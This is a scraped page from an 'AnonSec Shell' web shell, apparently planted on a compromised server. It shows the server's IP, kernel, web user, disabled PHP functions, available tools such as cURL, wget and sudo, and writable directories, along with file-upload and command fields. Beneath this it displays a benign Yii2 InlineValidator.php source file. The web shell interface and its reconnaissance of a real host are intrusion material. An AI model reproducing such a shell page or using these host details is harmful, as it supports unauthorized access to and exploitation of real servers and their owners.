AnonSec Shell
Server IP : 185.86.78.101  /  Your IP : 216.73.216.124
Web Server : Apache
System : Linux 675867-vds-valikoshka1996.gmhost.pp.ua 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/wwwroot/mifepriston.org/vendor/yiisoft/yii2/validators/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /www/wwwroot/mifepriston.org/vendor/yiisoft/yii2/validators/InlineValidator.php
<?php
/**
 * @link https://www.yiiframework.com/
 * @copyright Copyright (c) 2008 Yii Software LLC
 * @license https://www.yiiframework.com/license/
 */

namespace yii\validators;

/**
 * InlineValidator represents a validator which is defined as a method in the object being validated.
 *
 * @author Qiang Xue <qiang.xue@gmail.com>
 * @since 2.0
 */
class InlineValidator extends Validator
{
    /**
     * @var string|callable an anonymous function or the name of a model class method that will be
     * called to perform the actual validation. The signature of the method should be like the following:
     *
     * ```php
     * function (string $attribute, mixed $params, InlineValidator $validator, mixed $current): bool {
     * }
     * ```
     *
     * - `$attribute` is the name of the attribute to be validated
     * - `$params` contains the value of [[params]] that you specify when declaring the inline validation rule
     * - `$validator` is a reference to related [[InlineValidator]] object. This parameter is available since version 2.0.11
     * - `$current` is the attribute value. This parameter is available since version 2.0.36
     */
    public $method;
    /**
     * @var mixed additional parameters that are passed to the validation method
     */
    public $params;
    /**
     * @var string|\Closure an anonymous function or the name of a model class method that returns the client validation code.
     * The signature of the method should be like the following:
     *
     * ```php
     * function (string $attribute, mixed $params, InlineValidator $validator, mixed $current, View $view): string
     * {
     *     // $view->registerJs('JS validation function');
     *     // or \app\assets\ValidationAsset::register($view);
     *     return "calling JS validation function";
     * }
     * ```
     *
     * Please refer to [[clientValidateAttribute()]] and [guide](guide:input-validation#client-side-validation) for details on how
     * to return client validation code.
     */
    public $clientValidate;
    /**
     * @var mixed the value of attribute being currently validated.
     * @since 2.0.36
     */
    public $current;


    /**
     * {@inheritdoc}
     */
    public function validateAttribute($model, $attribute)
    {
        $method = $this->method;
        if (is_string($method)) {
            $method = [$model, $method];
        } elseif ($method instanceof \Closure) {
            $method = $this->method->bindTo($model);
        }

        $current = $this->current;
        if ($current === null) {
            $current = $model->$attribute;
        }
        $method($attribute, $this->params, $this, $current);
    }

    /**
     * {@inheritdoc}
     */
    public function clientValidateAttribute($model, $attribute, $view)
    {
        if ($this->clientValidate !== null) {
            $method = $this->clientValidate;
            if (is_string($method)) {
                $method = [$model, $method];
            } elseif ($method instanceof \Closure) {
                $method = $method->bindTo($model);
            }
            $current = $this->current;
            if ($current === null) {
                $current = $model->$attribute;
            }
            return $method($attribute, $this->params, $this, $current, $view);
        }

        return null;
    }
}

Anon7 - 2022
AnonSec Team